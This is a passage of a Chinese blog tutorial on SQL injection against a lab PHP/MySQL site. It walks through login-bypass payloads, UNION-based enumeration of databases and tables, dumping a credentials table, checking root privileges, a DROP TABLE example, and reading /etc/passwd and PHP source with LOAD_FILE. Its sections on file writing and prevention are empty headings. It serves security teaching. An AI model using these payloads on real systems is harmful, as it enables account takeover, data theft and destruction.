SQL注入详解(包含SQLMap用法)

这个系列讲的是整个SQL注入流程,其中包含手工联合注入、SQLmap自动化注入及安全防护绕过等姿势详解,现在只完成了其中一部分内容,每周更新,感兴趣的可以持续关注一下~

简介

在 Web 应用程序中使用 SQL

首先,让我们看看 Web 应用程序如何使用 MySQL 数据库来存储和检索数据。例如,在PHPWeb 应用程序中,我们可以连接到我们的数据库,如下所示:

$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);

然后,查询的输出将存储在$result中,下面的 PHP 代码将在新行中打印 SQL 查询的所有返回结果:

while($row = $result->fetch_assoc() ){
	echo $row["name"]."<br>";
}

Web 应用程序在检索数据时通常也使用用户输入。例如,当用户使用搜索功能搜索其他用户时,他们的搜索输入将传递给 Web 应用程序,并数据库中进行搜索:

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);

概念

在上面的示例中,我们接受用户输入并将其直接传递给 SQL 查询而不进行任何处理。当应用程序将用户输入解释为实际代码而不是字符串时,就会发生注入。可以先通过注入特殊字符如 (')来更改输入结束位置,然后编写要执行的代码。除非对用户输入进行处理,否则很可能会执行注入的代码并运行它。

当用户可以直接输入到SQL请求字符串而没有适当的处理或过滤,就会发生 SQL 注入。前面的示例展示了如何在 SQL 查询中使用用户输入,并且它没有使用任何形式的输入处理:

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);

通常,我们会输入searchInput执行查询命令,并返回预期结果。我们输入的任何内容都会执行以下SQL查询:

select * from logins where username like '%$searchInput'

所以,如果我们输入admin,它变成 ‘%admin’。在这种情况下,如果我们编写任何 SQL 代码,它只会被视为搜索词。例如,如果我们输入SHOW DATABASES;,它将被执行为 ‘%SHOW DATABASES;’ Web 应用程序将搜索类似于SHOW DATABASES;的用户名。在这种情况下,我们可以添加一个单引号 (‘),它将结束用户输入字段,然后我们可以编写实际的 SQL 代码。例如,如果我们搜索1’; DROP TABLE users;,搜索输入将是:

'%1'; DROP TABLE users;'

因此,最终执行的 SQL 查询如下:

select * from logins where username like '%1'; DROP TABLE users;'

利用语法错误

前面的 SQL 注入示例将返回错误:

Error: near line 1: near "'": syntax error

这是因为我们有一个引号没有关闭,这会导致执行时出现 SQL 语法错误:

select * from logins where username like '%1'; DROP TABLE users;'

要成功注入,我们必须确保新修改的 SQL 查询在注入后仍然有效并且没有任何语法错误。在大多数情况下,我们无法访问源代码查看原始 SQL 查询并开发适当的 SQL 注入。一个种方法是使用注释,另一种方法是通过传入多个单引号使查询语法起作用。

SQL注入的类型

在这里插入图片描述
通常,查询的输出可能会直接打印在前端,我们可以直接读取。这称为In-bandSQL 注入,它有两种类型:基于Union和基于Error。

使用Union BasedSQL 注入,我们必须指定数据显示的确切位置在哪一列,以便写入union sql语句。至于Error BasedSQL 注入,当我们可以在前端获取PHP或错误时使用它,因此我们可能会写入返回报错的 SQL 语句。

在更复杂的情况下,我们可能无法打印输出,因此我们可以利用 SQL 逻辑逐个字符地输出。这称为BlindSQL,它也有两种类型:Boolean Based和Time Based。

布尔盲注时,我们可以使用 SQL 条件语句来控制页面是否返回任何输出,如果我们的条件语句返回true。在时间盲注时,我们使用 SQL 条件语句,如果条件语句true使用Sleep()函数延迟页面响应。

最后,在某些情况下,我们可能无法直接访问输出,因此我们可能必须将输出定向到远程位置,“即 DNS 记录”,然后尝试从那里检索它。这称为Out-of-bandSQL 注入。

接下来的部分主要介绍Union BasedSQL 注入。

更改AND和OR逻辑

身份验证绕过

进入以下登录页面

在这里插入图片描述
我们先使用管理员凭据admin/p@ssw0rd登录

在这里插入图片描述
该页面还显示了正在执行的 SQL 查询,以便更好地了解我们将如何修改查询逻辑。我们的目标是在不使用现有密码的情况下以管理员用户身份登录。正如我们所见,当前正在执行的 SQL 查询是:

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

该页面接收凭据,然后使用AND运算符选择与给定用户名和密码匹配的记录。如果MySQL数据库返回匹配的记录,则凭据有效,因此PHP代码会将登录尝试条件评估为true。如果条件评估为true,则返回管理员记录,并验证我们的登录。当我们输入错误的凭据时:

在这里插入图片描述

在我们开始破坏 Web 应用程序的逻辑并试图绕过身份验证之前,我们首先必须测试登录表单是否容易受到 SQL 注入的攻击。为此,我们将尝试在我们的用户名后添加以下字符之一,看看它是否会导致任何错误:

字符URL编码
%27
"%22
#%23
;%3B
)%29

注:有时候php代码中会过滤某些字符,我们可以尝试使用URL编码后的内容

尝试在username注入单引号:

在这里插入图片描述
我们看到这里产生SQL错误而不是登录失败提示。此时发送的SQL语句是:

SELECT * FROM logins WHERE username=''' AND password = 'something';

这里我们可以选择先写入注入命令然后注释掉查询的其余部分,以形成一个有效的查询。或者是在我们注入的查询中使用偶数个引号,这样最终的查询仍然有效。接下来看具体注入过程

OR注入

为了使php验证凭据时返回true,以绕过身份验证。我们可以在 SQL 注入中使用OR运算符。

我们使用恒等式**‘1’ = ‘1’**来绕过身份验证,为了确保 SQL 查询中有偶数个引号,我们将删除最后一个引号并使用 ‘1’='1,username框应该输入:

admin' or '1'='1

最终的SQL语句为:

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

这意味着

  • 如果username为admin

    OR

  • 如果’1’='1’返回 true

    AND

  • 如果password是something

用一张图解释具体的逻辑:

在这里插入图片描述

首先执行and运算符判断,返回false。然后使用得到的false和用户名admin得到的true判断or运算,返回true,所以这里可以成功登录。在这种情况下,不管输入的密码是什么,只要用户名正确,就可以成功登录。
在这里插入图片描述

』这里仅仅只是众多身份验证绕过方法之一,可以访问SQL注入payload找到完整的payload列表,这里还包括其他各种Web攻击的详细payload,感兴趣的可以看一下~

使用OR运算符绕过身份验证

我们能够以管理员身份成功登录。但大多数情况下我们没有正确的用户名,这次让我们用不同的用户名尝试相同的请求。
在这里插入图片描述

由于notAdmin用户名不是有效用户名,登录失败,再来看一下AND和OR具体执行过程:

在这里插入图片描述

要再次成功登录,我们需要将AND部分的运算结果改为true,可以尝试修改password为something’ or ‘1’='1
在这里插入图片描述

此时SQL语句执行结果和用户名密码都没有关系,使用的SQL语句为:

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something' or '1'='1';

使用注释

就像任何其他语言一样,SQL 也允许使用注释。注释用于记录查询或忽略查询的特定部分。我们还可以在 MySQL的SQL注入中中使用两种类型的行注释 ‘–’‘#’。可以按如下方式使用:

mysql> SELECT username FROM logins; -- Selects usernames from the logins table 

+---------------+
| username      |
+---------------+
| admin         |
| administrator |
| john          |
| tom           |
+---------------+
4 rows in set (0.00 sec)

注意:在 SQL 中,仅使用两个破折号不足以开始注释。所以,它们后面必须有一个空格,所以注释以 (-- ) 开头,末尾有一个空格。有时会 URL 编码为 (–+),因为 URL 中的空格被编码为 (+)。为清楚起见,我们将在末尾 (-- -) 添加另一个 (-),以显示空格字符的使用。

使用 # 作注释会忽略后面输入的内容AND password = 'something',并且在Burpsuite中使用时,可以使用 # 的URL编码%23。

mysql> SELECT * FROM logins WHERE username = 'admin'; # AND password = 'something'

+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

使用注释绕过身份认证

回到我们之前的例子并注入Notadmin or 1=1’--,最终的查询是:

SELECT * FROM logins WHERE username='Notadmin or 1=1'-- ' AND password = 'something';

这样就实现了一个简单的SQL注入,现在我们可以使用任意用户名和密码即可登录管理员页面。

UNION

这一节中将使用Union组合多个SELECT语句的结果,通过UNION注入,获取多个表的数据。首先,我们来看一下当前数据库的ports表有哪些数据

mysql> SELECT * FROM ports;
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| ZZ-21    | Shenzhen  |
+----------+-----------+
3 rows in set (0.00 sec)

接着再看一下ships表的内容

mysql> SELECT * FROM ships;

+----------+-----------+
| Ship     | city      |
+----------+-----------+
| Morrison | New York  |
+----------+-----------+
1 rows in set (0.00 sec)

然后,用UNION组合两张表的内容:

mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

成功将两个SELECT语句的输出合并为一个四行的输出。(注:这里合并列的数据类型应相同)

一条UNION语句只能对SELECT具有相同列数的语句进行操作。由于第一个select返回一列数据而第二个select返回两列,所以以下SQL语句会报错:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;

ERROR 1222 (21000): The used SELECT statements have a different number of columns

UNION注入

在使用union注入时,我们也要确保前后查询的列数相同。遇到列数不同的情况我们可以使用了类似select 1 的形式填充无用列,这样的查询会始终返回查询值,这里返回1。

假设第一个查询会返回两列,但我们只想得到“username”列,我们可以增加一列数字1,于是查询语句为:

SELECT * from products where product_id = '1' UNION SELECT username, 1 from passwords

如果我们在原始查询的表中有更多的列,我们必须添加更多的数字来创建剩余的所需列。例如,原始查询具有四列,我们的UNION注入语句将是:

-1' UNION SELECT username, 2, 3, 4 from passwords-- 

这里**-1**是为了阻止原查询正常返回,只返回union查询内容,此查询运行结果为:

mysql> SELECT * from products where product_id='-1' UNION SELECT username, 2, 3, 4 from passwords-- 

+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
|   admin   |    2      |    3      |    4      |
+-----------+-----------+-----------+-----------+

检查列数

在继续使用基于联合的查询之前,我们可以使用ORDER BY或UNION检测列数。

使用ORDER BY

检查列数的第一种方法是,在注入的查询中使用ORDER BY函数,该查询按我们指定的列对结果进行排序,“即第 1 列、第 2 列等等”,直到我们收到一个错误,指出指定的列不存在。

例如,我们可以从 开始order by 1,按第一列排序,然后成功,因为表必须至少有一个列。然后我们会做order by 2,然后order by 3直到我们到达一个返回错误的数字,或者页面没有显示任何输出,这意味着这个列号不存在。

如果我们在order by 4处失败,这意味着该表有三列,这是我们能够成功排序的列数。让我们到示例中尝试使用以下语句开始操作:

' order by 1-- -

注:我们在末尾添加了一个额外的破折号 (-),以表明 (–) 之后有一个空格。

这里我们可以得到一个正常的结果:
在这里插入图片描述
接下来,让我们尝试使用以下有效负载按第二列排序:

' order by 2-- -

我们仍然得到结果。我们注意到它们的排序方式与之前的不同:
在这里插入图片描述
我们对第三列和第四列做同样的事情并正常得到结果。但是,当我们尝试对前5列进行排序时,出现以下错误:
在这里插入图片描述
这意味着该表刚好有4列

使用 UNION

另一种方法是尝试使用不同数量的列进行联合注入,直到我们成功取回结果。order by方法总是返回结果,直到我们遇到错误,而union方法总是给出错误,直到我们获得成功。我们可以从注入一个 3 列的UNION查询开始:

cn' UNION select 1,2,3-- -

我们收到一条错误消息,指出列数不匹配:

在这里插入图片描述
因此,让我们尝试4列并查看响应:

cn' UNION select 1,2,3,4-- -

在这里插入图片描述
这次我们成功得到了结果,这意味着该表具有 4 列。我们可以使用任何一种方法来确定列数。一旦我们知道了列数,我们就知道如何形成payload,我们可以继续下一步。

注入位置

虽然查询可能返回多列,但 Web 应用程序可能只显示其中的一部分。因此,如果我们将查询注入到页面上未打印的列中,我们将无法获得其输出。这就是为什么我们需要确定将哪些列打印到页面,以确定在何处放置我们的注入。在前面的示例中,虽然注入的查询返回 1、2、3 和 4,但我们在页面上只看到 2、3 和 4 作为输出数据返回给我们:
在这里插入图片描述
这是使用数字来尝试的好处,因为它可以很容易地跟踪打印了哪些列,因此我们知道在哪一列放置我们的查询。为了测试我们是否可以从数据库中获取到实际数据,我们可以使用@@versionSQL 查询作为测试并将其放在第二列中:

cn' UNION select 1,@@version,3,4-- -

在这里插入图片描述
如我们所见,我们可以获得显示的数据库版本。现在我们知道如何有效进行 Union SQL 注入,以成功地获得打印在页面上的查询输出。接下来,我们将讨论如何枚举数据库并从其他表和数据库中获取数据。

数据库枚举

在前面的部分中,我们了解了不同的 SQL 查询MySQL和 SQL 注入以及如何使用它们。本节将使用所有这些,并在 SQL 注入中使用 SQL 查询从数据库中收集数据。

MySQL指纹识别

在枚举数据库之前,我们通常需要确定我们正在处理的 DBMS 类型。这是因为每个 DBMS 都有不同的查询,知道它是什么将帮助我们知道使用相应的查询方法。

作为初步猜测,如果我们在 HTTP 响应中看到的 Web 服务器是Apache或Nginx,则可以很好地猜测该 Web 服务器正在 Linux 上运行,因此 DBMS 很可能是MySQL。如果网络服务器是IIS,DBMS很可能是MSSQL。然而,这是一个比较牵强的猜测,因为许多其他数据库可以在操作系统或 Web 服务器上使用。因此,我们可以测试不同的查询来识别我们正在处理的数据库类型。

以下查询及其输出将告诉我们我们正在处理MySQL:

payload用法预期输出
SELECT @@version当我们有完整的查询输出时10.3.22-MariaDB-1ubuntu1’
SELECT POW(1,1)当我们只有数字输出时1
SELECT SLEEP(5)无输出延迟页面响应5秒

INFORMATION_SCHEMA 数据库

要使用UNION SELECT从表中提取数据,我们需要正确地形成我们的SELECT查询。为此,我们需要以下信息:

  • 数据库信息
  • 每个数据库中的表
  • 每个表中的列

有了以上信息,我们生成读取数据库中任意列数据的SELECT语句。这是我们可以使用INFORMATION_SCHEMA数据库的地方。

INFORMATION_SCHEMA数据库包含有关服务器上存在的数据库和表的元数据。该数据库在利用 SQL 注入漏洞时起着重要的作用。

SCHEMATA表

要开始我们的枚举,我们应该找到 DBMS 上可用的数据库。INFORMATION_SCHEMA数据库中的SCHEMATA表包含服务器上所有数据库的信息。该表中的SCHEMA_NAME列包含当前存在的所有数据库名称。

让我们先在本地数据库上测试一下,看看查询是如何使用的:

mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)

我们看到了ilfreight和dev数据库。注意:前三个数据库是默认的 MySQL 数据库,并且存在于任何服务器上,因此我们通常在数据库枚举时忽略它们。

现在,让我们来执行UNION SQL 注入,并使用以下payload:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

在这里插入图片描述
除了默认数据库之外,我们再次看到两个数据库,ilfreight和dev。我们可以通过select database()查询语句找出当前端口数据查询正在使用的数据库:

cn' UNION select 1,database(),2,3-- -

在这里插入图片描述
我们看到当前使用的数据库是ilfreight. 然后,让我们尝试从另一个数据库dev中检索表及其他信息。

表信息

在我们从dev数据库中转储数据之前,我们需要获取表信息并使用SELECT语句查询它们。要查找数据库中的所有表,我们可以使用INFORMATION_SCHEMA数据库中的TABLES表。

TABLES表包含有关整个数据库中所有表的信息。该表包含多个列,但我们对TABLE_SCHEMA和TABLE_NAME列感兴趣。列TABLE_NAME存储表名,而TABLE_SCHEMA列指向每个表所属的数据库。例如,我们可以使用以下payload来查找dev数据库中的表:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

在这里插入图片描述
我们在 dev 数据库中看到四个表,即credentials、framework、pages和posts。credentials表可能包含要查看的敏感信息。

列信息

要转储credentials表的数据,首先要找到表中的列名,可以在数据库中的COLUMNS表中找到。INFORMATION_SCHEMA数据库中的COLUMNS表包含所有列的信息。正如我们之前所做的那样,让我们​​尝试使用此paylaod来查找表中的列名:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

在这里插入图片描述
该表有两列,分别为username和password。我们可以使用此信息并从表中获取数据。

用户数据

现在我们有了所有的信息,我们可以用username和password代替第 2 列和第 3 列:

cn' UNION select 1, username, password, 4 from dev.credentials-- -

注意:我们在ilfreight数据库中查询dev数据库中的信息,表名要使用dev.credentials
在这里插入图片描述

我们能够获取表中的所有credentials信息,其中包含密码哈希和 API 密钥等敏感内容。

读取文件

除了从 DBMS 中的各种表和数据库中收集数据外,SQL 注入还可以用于执行许多其他操作,例如在服务器上读取和写入文件,甚至在后端服务器上获得远程代码执行。

特权

读取数据比写入数据更为常见,在现代 DBMS 中,写入数据严格保留给有权限的用户使用,因为它会导致系统利用。例如,在 中MySQL,数据库用户必须有权将FILE文件的内容加载到表中,然后从该表中读取文件。因此,让我们从收集我们在数据库中的用户权限的数据开始,以决定我们是否有权限读取文件。

数据库用户

首先,我们必须确定我们在数据库中是哪个用户。虽然我们不一定需要数据库管理员 (DBA) 权限来读取数据,但在现代 DBMS 中只有 DBA 才被授予此类权限。如果我们确实拥有 DBA 权限,那么我们更有可能拥有文件读取权限。为了能够找到我们当前的数据库用户,我们可以使用以下任何查询:

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

我们的UNION注入有效载荷如下:

cn' UNION SELECT 1, user(), 3, 4-- -

或者

cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

下面的输出告诉我们当前是root权限:
在这里插入图片描述

用户权限

现在我们知道了我们的身份,接下来开始寻找该用户的权限。首先,我们可以通过以下查询来测试我们是否拥有超级管理员权限:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

如果我们在 DBMS 中有很多用户,我们可以添加WHERE user="root"只显示root用户的权限:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

在这里插入图片描述
查询返回Y,这意味拥有超级用户权限。我们还可以使用以下查询直接从模式中查询我们拥有的其他特权:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

再一次,我们可以添加WHERE user="root"仅显示我们当前的用户root权限。使用的payload将是:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE user="root"-- -

在这里插入图片描述
我们看到当前列表列出了root的权限,我们能够读取文件甚至可能写入文件。因此,我们可以继续尝试读取文件。

加载文件

现在我们知道我们有足够的权限来读取本地系统文件,让我们使用LOAD_FILE()函数来做到这一点。LOAD_FILE ()函数可用于 MariaDB / MySQL 从文件中读取数据。该函数只接受一个参数,即文件名。以下查询是如何读取/etc/passwd文件的示例:

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

在这里插入图片描述我们能够通过SQL注入成功读取到passwd文件的内容,这也可能被用来泄露应用程序源代码。

读取源代码

我们知道当前页面是search.php。默认的 Apache webroot 是/var/www/html. 让我们尝试阅读文件的源代码/var/www/html/search.php。

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

在这里插入图片描述
但是,该页面最终会在浏览器中呈现 HTML 代码。可以通过点击查看 HTML 源代码[Ctrl + U]。
在这里插入图片描述
源代码向我们展示了完整的 PHP 代码,可以对其进行进一步检查以查找敏感信息(如数据库连接凭据)或查找更多漏洞。

写入文件

写文件权限

secure_file_priv

SELECT INTO OUTFILE

通过 SQL 注入写入文件

写入WebShell

预防SQL注入

输入过滤

输入验证

用户权限

Web应用防火墙

参数化查询

未完待续…

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zyu0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值